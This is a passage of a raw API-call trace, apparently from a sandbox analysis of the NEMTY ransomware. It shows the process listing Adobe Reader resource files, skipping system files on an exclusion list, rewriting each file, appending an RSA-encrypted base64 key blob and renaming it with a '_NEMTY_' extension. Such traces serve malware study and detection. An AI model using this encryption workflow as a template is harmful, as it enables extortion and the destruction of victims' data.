0x6340130 [0214.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0214.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340228 [0214.974] Sleep (dwMilliseconds=0x5) [0214.981] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33c6c830, dwHighDateTime=0x1d561e8)) [0214.981] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33c6c830, dwHighDateTime=0x1d561e8)) [0214.981] GetLastError () returned 0x0 [0214.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.982] GetLastError () returned 0x0 [0214.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.982] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0214.982] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0214.982] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0214.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0214.982] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="hAib8iIzOYtdeSVDnq4eRcL9lsuBIaxCedvqGVUGHc0wH5GIpqxZwSRzqXe5b5/J\r\nxkTkCj04iO4Fyz+U+iAaJCIz5VlUKSZ9pupDK5SzGB9cxwbqq5VSFz+rX/Y1pgKZ\r\n2E8A8Wpz4afkVRe1pV7llNEuhl/DY3+BDuz3umsHv0Hjus8H37IdFy22k9XCAIAx\r\n1iYO215QGNtVar6nMKR9PlU1p3XQU2bQA7Elnf1x1Sitykcx0FnZRgAu54UF58pZ\r\nlPq6yKlugy+xHY3qOCFFdq6agj1wXUnoC+CrExmenvSl2Fi5+LuRRsjyZRaMnBqg\r\nE4ytUUeGROI3HJLgGotszA==\r\n", pcchString=0x653e5dc) returned 1 [0214.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0214.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.982] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca_es_preeuro.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0214.983] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27868) returned 1 [0214.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6cd0) returned 0x6352c48 [0214.983] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.983] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6cd0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6cd0, lpOverlapped=0x0) returned 1 [0214.986] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.986] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6cd0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6cd0, lpOverlapped=0x0) returned 1 [0214.986] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.986] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27868, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6cdc [0214.986] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0214.987] CloseHandle (hObject=0x2e8) returned 1 [0214.987] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340320 [0214.987] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.987] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.987] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.987] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.987] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.987] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340418 [0214.987] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x166) returned 0x63491c8 [0214.987] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340418 | out: hHeap=0x4f90000) returned 1 [0214.987] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.987] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca_es_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES_PREEURO.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca_es_preeuro.txt._nemty_kgobjgd_")) returned 1 [0214.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63491c8 | out: hHeap=0x4f90000) returned 1 [0214.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340320 | out: hHeap=0x4f90000) returned 1 [0214.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340228 | out: hHeap=0x4f90000) returned 1 [0214.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0214.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.988] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f367960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x74c0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.cs.txt", cAlternateFileName="DI5C2E~1.TXT")) returned 1 [0214.988] lstrcmpiW (lpString1="DisplayLanguageNames.cs.txt", lpString2=".") returned 1 [0214.988] lstrcmpiW (lpString1="DisplayLanguageNames.cs.txt", lpString2="..") returned 1 [0214.988] lstrcmpiW (lpString1="DisplayLanguageNames.cs.txt", lpString2="...") returned 1 [0214.988] lstrcmpiW (lpString1="DisplayLanguageNames.cs.txt", lpString2="windows") returned -1 [0214.988] lstrcmpiW (lpString1="DisplayLanguageNames.cs.txt", lpString2="$RECYCLE.BIN") returned 1 [0214.988] lstrcmpiW (lpString1="DisplayLanguageNames.cs.txt", lpString2="rsa") returned -1 [0214.988] lstrcmpiW (lpString1="DisplayLanguageNames.cs.txt", lpString2="NTDETECT.COM") returned -1 [0214.988] lstrcmpiW (lpString1="DisplayLanguageNames.cs.txt", lpString2="ntldr") returned -1 [0214.988] lstrcmpiW (lpString1="DisplayLanguageNames.cs.txt", lpString2="MSDOS.SYS") returned -1 [0214.988] lstrcmpiW (lpString1="DisplayLanguageNames.cs.txt", lpString2="IO.SYS") returned -1 [0214.988] lstrcmpiW (lpString1="DisplayLanguageNames.cs.txt", lpString2="boot.ini") returned 1 [0214.988] lstrcmpiW (lpString1="DisplayLanguageNames.cs.txt", lpString2="boot.ini") returned 1 [0214.988] lstrcmpiW (lpString1="DisplayLanguageNames.cs.txt", lpString2="AUTOEXEC.BAT") returned 1 [0214.988] lstrcmpiW (lpString1="DisplayLanguageNames.cs.txt", lpString2="ntuser.dat") returned -1 [0214.988] lstrcmpiW (lpString1="DisplayLanguageNames.cs.txt", lpString2="desktop.ini") returned 1 [0214.988] lstrcmpiW (lpString1="DisplayLanguageNames.cs.txt", lpString2="CONFIG.SYS") returned 1 [0214.988] lstrcmpiW (lpString1="DisplayLanguageNames.cs.txt", lpString2="RECYCLER") returned -1 [0214.988] lstrcmpiW (lpString1="DisplayLanguageNames.cs.txt", lpString2="BOOTSECT.BAK") returned 1 [0214.988] lstrcmpiW (lpString1="DisplayLanguageNames.cs.txt", lpString2="bootmgr") returned 1 [0214.988] lstrcmpiW (lpString1="DisplayLanguageNames.cs.txt", lpString2="programdata") returned -1 [0214.988] lstrcmpiW (lpString1="DisplayLanguageNames.cs.txt", lpString2="appdata") returned 1 [0214.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.cs.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0214.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.cs.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.cs.txt", lpUsedDefaultChar=0x0) returned 27 [0214.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0214.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.cs.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0214.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.cs.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.cs.txt", lpUsedDefaultChar=0x0) returned 27 [0214.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0214.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.cs.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0214.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.cs.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.cs.txt", lpUsedDefaultChar=0x0) returned 27 [0214.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.cs.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0214.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.cs.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.cs.txt", lpUsedDefaultChar=0x0) returned 27 [0214.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0214.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0214.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0214.989] Sleep (dwMilliseconds=0x5) [0214.997] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33c92990, dwHighDateTime=0x1d561e8)) [0214.997] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33c92990, dwHighDateTime=0x1d561e8)) [0214.997] GetLastError () returned 0x0 [0214.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.997] GetLastError () returned 0x0 [0214.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.997] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0214.997] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0214.998] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0214.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0214.998] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="ayeHq37F52mqNhougE4e/PSMvqwRC+DFiOjDyAE3krry2PfEE69FFaT/9XZ01zuv\r\nv6qrPVorPVeMUmDSctnciJUg2scoP4yz52NL2H8uUBlMpvRVX5icBFebjDCdB2s6\r\nTPaCOglCQqmlazKFyx/69JLfaDg3xJbzHLa+eU9leIY6TfHM+A5/9vVfpjqmvlw8\r\nnq/NeKSDEc+RLxylK9FuLvyn7DQVODmc4ekvIohWJta2qHGDtS5Bzpqi6XT/kA9K\r\npLppUjZ2vHgLhLhPviJ+gRLHfmiVeynt3Ba8Ktk/VpoiywymdVhSK2CN9SqWKtMT\r\nAt14TyObwjpUU1ZKAC6Spg==\r\n", pcchString=0x653e5dc) returned 1 [0214.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0214.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.998] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.cs.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0214.999] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=29888) returned 1 [0214.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x74c0) returned 0x6352c48 [0214.999] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.999] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x74c0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x74c0, lpOverlapped=0x0) returned 1 [0215.003] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.003] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x74c0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x74c0, lpOverlapped=0x0) returned 1 [0215.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.003] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=29888, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x74c0 [0215.003] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.003] CloseHandle (hObject=0x2e8) returned 1 [0215.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.003] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.003] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.003] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.cs.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.cs.txt._nemty_kgobjgd_")) returned 1 [0215.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.004] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f367960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x74c0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.cs_CZ.txt", cAlternateFileName="DICA81~1.TXT")) returned 1 [0215.005] lstrcmpiW (lpString1="DisplayLanguageNames.cs_CZ.txt", lpString2=".") returned 1 [0215.005] lstrcmpiW (lpString1="DisplayLanguageNames.cs_CZ.txt", lpString2="..") returned 1 [0215.005] lstrcmpiW (lpString1="DisplayLanguageNames.cs_CZ.txt", lpString2="...") returned 1 [0215.005] lstrcmpiW (lpString1="DisplayLanguageNames.cs_CZ.txt", lpString2="windows") returned -1 [0215.005] lstrcmpiW (lpString1="DisplayLanguageNames.cs_CZ.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.005] lstrcmpiW (lpString1="DisplayLanguageNames.cs_CZ.txt", lpString2="rsa") returned -1 [0215.005] lstrcmpiW (lpString1="DisplayLanguageNames.cs_CZ.txt", lpString2="NTDETECT.COM") returned -1 [0215.005] lstrcmpiW (lpString1="DisplayLanguageNames.cs_CZ.txt", lpString2="ntldr") returned -1 [0215.005] lstrcmpiW (lpString1="DisplayLanguageNames.cs_CZ.txt", lpString2="MSDOS.SYS") returned -1 [0215.005] lstrcmpiW (lpString1="DisplayLanguageNames.cs_CZ.txt", lpString2="IO.SYS") returned -1 [0215.005] lstrcmpiW (lpString1="DisplayLanguageNames.cs_CZ.txt", lpString2="boot.ini") returned 1 [0215.005] lstrcmpiW (lpString1="DisplayLanguageNames.cs_CZ.txt", lpString2="boot.ini") returned 1 [0215.005] lstrcmpiW (lpString1="DisplayLanguageNames.cs_CZ.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.005] lstrcmpiW (lpString1="DisplayLanguageNames.cs_CZ.txt", lpString2="ntuser.dat") returned -1 [0215.005] lstrcmpiW (lpString1="DisplayLanguageNames.cs_CZ.txt", lpString2="desktop.ini") returned 1 [0215.005] lstrcmpiW (lpString1="DisplayLanguageNames.cs_CZ.txt", lpString2="CONFIG.SYS") returned 1 [0215.006] lstrcmpiW (lpString1="DisplayLanguageNames.cs_CZ.txt", lpString2="RECYCLER") returned -1 [0215.006] lstrcmpiW (lpString1="DisplayLanguageNames.cs_CZ.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.006] lstrcmpiW (lpString1="DisplayLanguageNames.cs_CZ.txt", lpString2="bootmgr") returned 1 [0215.006] lstrcmpiW (lpString1="DisplayLanguageNames.cs_CZ.txt", lpString2="programdata") returned -1 [0215.006] lstrcmpiW 